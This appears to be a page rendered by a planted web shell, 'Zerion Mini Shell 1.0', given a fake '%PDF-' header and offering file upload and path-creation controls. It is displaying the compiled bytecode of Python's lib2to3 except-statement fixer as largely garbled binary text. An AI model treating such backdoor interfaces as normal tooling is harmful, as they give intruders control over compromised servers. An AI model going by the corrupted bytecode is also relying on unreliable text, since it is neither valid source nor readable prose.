%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/lib2to3/fixes/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/lib2to3/fixes/fix_except.pyc

σ
Pκαac@sŠdZddlmZddlmZddlmZddlmZmZm	Z	m
Z
mZmZd„Z
dejfd„ƒYZd	S(
sͺFixer for except statements with named exceptions.

The following cases will be converted:

- "except E, T:" where T is a name:

    except E as T:

- "except E, T:" where T is not a name, tuple or list:

        except E as t:
            T = t

    This is done because the target of an "except" clause must be a
    name.

- "except E, T:" where T is a tuple or list literal:

        except E as t:
            T = t.args
i(tpytree(ttoken(t
fixer_base(tAssigntAttrtNametis_tupletis_listtsymsccsbx[t|ƒD]M\}}|jtjkr
|jdjdkrZ|||dfVqZq
q
WdS(Niuexcepti(t	enumeratettypeRt
except_clausetchildrentvalue(tnodestitn((s4/usr/local/lib/python2.7/lib2to3/fixes/fix_except.pytfind_exceptsst	FixExceptcBseZeZdZd„ZRS(s1
    try_stmt< 'try' ':' (simple_stmt | suite)
                  cleanup=(except_clause ':' (simple_stmt | suite))+
                  tail=(['except' ':' (simple_stmt | suite)]
                        ['else' ':' (simple_stmt | suite)]
                        ['finally' ':' (simple_stmt | suite)]) >
    cCs,|j}g|dD]}|jƒ^q}g|dD]}|jƒ^q7}x™t|ƒD]‹\}}	t|jƒdkr\|jdd!\}
}}|jtdddƒƒ|jtj	krΙt|j
ƒddƒ}
|jƒ}d|_|j|
ƒ|
jƒ}
|	j}x0t|ƒD]"\}}t
|tjƒrPqqWt|ƒs[t|ƒr|t|t|
td	ƒƒƒ}nt||
ƒ}x(t|| ƒD]}|	jd
|ƒqœW|	j||ƒqη|jdkrηd|_qηq\q\Wg|jd D]}|jƒ^qω||}tj|j|ƒS(Nttailtcleanupiiuastprefixu uuargsii(RtcloneRtlenRtreplaceRR
RtNAMEtnew_nameRR	t
isinstanceRtNodeRRRRtreversedtinsert_child(tselftnodetresultsRRRtchttry_cleanupRte_suitetEtcommatNtnew_Nttargettsuite_stmtsRtstmttassigntchildtcR((s4/usr/local/lib/python2.7/lib2to3/fixes/fix_except.pyt	transform/s6	##	
	!.(t__name__t
__module__tTruet
BM_compatibletPATTERNR/(((s4/usr/local/lib/python2.7/lib2to3/fixes/fix_except.pyR$sN(t__doc__tRtpgen2RRt
fixer_utilRRRRRRRtBaseFixR(((s4/usr/local/lib/python2.7/lib2to3/fixes/fix_except.pyt<module>s.	

Zerion Mini Shell 1.0